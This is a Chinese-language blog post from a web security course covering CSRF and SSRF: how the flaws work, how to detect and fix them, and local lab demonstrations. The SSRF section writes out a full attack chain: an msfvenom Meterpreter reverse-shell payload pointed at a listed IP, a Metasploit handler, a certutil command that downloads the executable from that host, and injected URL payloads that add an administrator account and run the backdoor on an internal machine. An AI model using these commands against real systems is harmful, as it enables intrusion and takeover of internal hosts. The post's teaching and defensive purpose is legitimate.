第39天:WEB攻防-通用漏洞&CSRF&SSRF&协议玩法&内网探针&漏洞利用

1646263963530-012f549f-4f13-4acc-8f87-0b4d79fe9f4d.png

#知识点:
1、CSRF-原理&危害&探针&利用等
2、SSRF-原理&危害&探针&利用等
3、CSRF&SSRF-黑盒下漏洞探针点

#详细点:
CSRF全称:Cross-site request forgery,即,跨站请求伪造,也被称为 “One Click Attack” 或 “Session Riding”,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输,但自己的qq号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求,执行恶意操作,具有很大的危害性。
CSRF的攻击过程两个条件:
1、目标用户已经登录了网站,能够执行网站的功能。
2、目标用户访问了攻击者构造的URL。
CSRF安全问题黑盒怎么判断:
1、看验证来源不-修复
2、看凭据有无token--修复
3、看关键操作有无验证-修复
-CSRF安全问题白盒怎么审计:
同黑盒思路一样,代码中分析上述三看

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
-SSRF黑盒可能出现的地方:
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
-SSRF白盒可能出现的地方:
1、功能点抓包指向代码块审计
2、功能点函数定位代码块审计
-SSRF常见安全修复防御方案:
1、禁用跳转
2、禁用不需要的协议
3、固定或限制资源地址
4、错误信息统一信息处理

#系列内容点:
1、CSRF&SSRF&原理&利用&协议等
2、CSRF&SSRF&黑盒&审计&修复等

1646264151502-462246ae-7945-482e-904e-26c1aa20452a.png

1646264163213-66a6b56a-7e56-4f5c-962f-7e1e864bb22a.png

1646264181280-dcfafddf-fbb9-4e92-b916-efa523e3f9a8.png

img

  • CSRF-原理&后台自动添加管理员
-案例说明:小迪在登录后台管理自己网站的时候,突然群里给小迪说阿祖又说爱上别人了,随后给我发了个URL链接,小迪直接点了进去,GG!
小迪网站:http://127.0.0.1:8105/
发送URL:http://127.0.0.1:8081/web/add.html
访问这个地址,其实就是管理员添加账号密码的数据包

前提条件:
1.管理员要提前登录(没有登录就没有权限触发)
2.访问了这个地址
3.要知道怎么添加用户,知道添加用户的数据包

利用流程:
1、获取目标的触发数据包
2、利用CSRFTester构造导出
3、诱使受害者访问特定地址触发

那么应该怎么构造数据包呢,这里我们在本地搭建,然后用到工具CSRFtest

运行bat程序,然后把浏览器端口修改为8008

1646287809235-be0a0c46-e043-4200-8aba-1936705fff3c.png

在触发添加数据包的时候,同时在工具中start
会抓取你操作的数据包

1646287915691-0361a3cf-6b88-4738-b990-fc4777dc39ad.png

在下面选择forms表单,然后把他生成为html格式,放在网站目录:
访问数据包地址:http://127.0.0.1:8081/web/add.html

然后在登录状态去访问http://127.0.0.1:8081/web/add.html
用户被创建成功。但是自己抓的包不能成功。

1646288940518-feb9d067-2db1-436d-8d40-4f16b41ef13f.png

那么应该怎么防御这种漏洞呢?

CSRF安全问题黑盒怎么判断:
1、看验证来源不(同源策略)-修复
2、看凭据有无token--修复
3、看关键操作有无验证-修复
-CSRF安全问题白盒怎么审计:
同黑盒思路一样,代码中分析上述三看
验证来源:
打开百度,修改图片地址,让他指向xiaodi8.com

1646289844495-14ac512f-03cd-4437-90db-6acc39ac0fb0.png

当点击图片的时候,抓取数据包,关键字段Referer: https://www.baidu.com/
可以说明这个数据包的来源是从baidu.com中来的。

1646289910819-0cf3d56a-4477-4b4a-823e-2d39108eb8c1.png

在自己的博客上添加用户,抓取数据包,可以看到Referer: http://47.100.167.248/zb_system/admin/member_edit.php?act=MemberNew
这个的来源是自己点进来的,不是从baidu.com中来的。

1646290114176-43a126ee-f790-4b35-9f2d-cdfc5bc708f0.png

相当于管理员触发http://127.0.0.1:8081/web/add.html,最后访问了http://127.0.0.1:8105/地址,那么对于http://127.0.0.1:8105/的网站来源是http://127.0.0.1:8081/web/add.html

如果做了同源策源,不是自己网站触发的数据包,就认定为非法来源。这样子就可以起到防御效果。但是这个在数据包中能够修改。

怎么判断有没有同源策略,
点过来的,有同源,能访问

复制点过来的地址,直接访问(如果能访问,没有同源策略,如果不能访问,有同源策略)
看凭据有无token

查看cookie值:看cookie值里面有没有带token,token_21d330cd=c36ce18a6e6d189b137244e7429e954e2a34b53000bce07d6fe72af52488f9fe1646377072;

1646291216837-3e9fdf91-db0d-4fc9-9ee4-4349d3b19111.png

无token的数据包

1646291309697-9972baa4-7acf-4393-9e9e-4e6655a4fd36.png

  • SSRF-原理&服务&协议&内网&漏洞
-参考文章:https://www.t00ls.cc/articles-41070.html
-案例说明:小迪在本地创建了远程图片文件加载应用,直接被攻击者利用SSRF探针本地及内网服务,并利用某漏洞直接获取到内网某主机的权限!

本地搭建了一个地址:http://127.0.0.1:8081/web/ssrf.php

分析原理:
图片功能:
用户:1.自己将电脑的图片上传   2.自己给一个URL让服务器解析上传
1.本地上传到服务器
2.远程加载图片地址上传服务器

远程加载图片地址上传服务器
过程
1.访问他㲏地址-思考:谁访问,你访问的还是服务器访问的?(服务器访问)
2.下载图片上传服务器

给一个远程地址,让服务器自己去解析,所以相当于是服务器去请求这个资源。
那个这些漏洞能做一些什么事情。
1、服务探针:
2、协议玩法:(更多玩法见上图)
3、内网扫描:
4、漏洞利用:
1.服务探针

输入http://127.0.0.1:3306/的时候,看返回结果,还可以得到相关数据库信息。

1646292590568-78fba5f1-4001-41d2-91ba-ba56b36ede77.png

当去请求一个不存在东西的时候,他就没有回显结果

1646292697832-91545d29-ce9c-4b8c-a4a3-49c23ca28749.png

同样也可以进行内网探针(因为内网一般都是固定ip地址的)
模拟内网地址:192.168.233.133

那么应该怎么探针这个内网的地址呢?抓包,放到lntruder模式下

1646294799804-abddedf9-1ddf-4ecc-a27e-16d9e6ea6e20.png

查看数据包的长度,这个就能得到内网的网站地址。

1646294962499-66a65a50-1553-4020-98d8-bc3e6d81c85a.png

还可以进行对文件的读取,协议玩法:

file:///D:/www.txt
dict://127.0.0.1:3306/info
ftp://192.168.46.148:21

需要结合图片来进行操作

1646295231099-8332884f-f2e5-4b72-b586-e69ab5a98022.png

还可以利用这个漏洞直接攻击内网,参考:https://www.cnblogs.com/xishaonian/p/6218170.html

先生成后门,
-生成:msfvenom -p windows/meterpreter/reverse_http LHOST=47.100.167.248 LPORT=1111 -f exe -o xxx.exe 
监听端口:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 1111
run

下载命令:
certutil.exe -urlcache -split -f http://47.100.167.248:80/xxx.exe xxx.exe

然后payload:
http://127.0.0.1/?search==%00{.exec|cmd /c net user DEF DEFHACKER123 /add.} 
http://127.0.0.1/?search==%00{.exec|cmd /c net localgroup Administrators DEF /add.}

修改一下payload:
-下载:http://192.168.233.133/?search==%00{.exec|cmd.exe%20/c%20certutil%20-urlcache%20-split%20-f%20http://47.100.167.248/xxx.exe.} 
-执行:http://192.168.233.133/?search==%00{.exec|xxx.exe.}

1646296762950-e96c96b5-3706-473d-9c80-0723324ccf65.png

文件能下载,但是被杀了。

虽然说能这么顺利进行,但是在实际上还是会碰到很多问题。比如说,过滤,有无漏洞,防火墙等等。

这类漏洞是基于逻辑来产生的,并不是代码上产生的。
比如分享地址
qzone.qq.com/?url=www.xiaodi8.com
把分享地址改为127.0.0.1
  • SSRF-某实际案例测试演示(功能点)
passport.hualala.com/login?redirectURL=http://dianpu.hualala.com
www.ichacha.net
posted @ 2023-09-13 10:46  解放者-cracer  阅读(546)  评论(0)    收藏  举报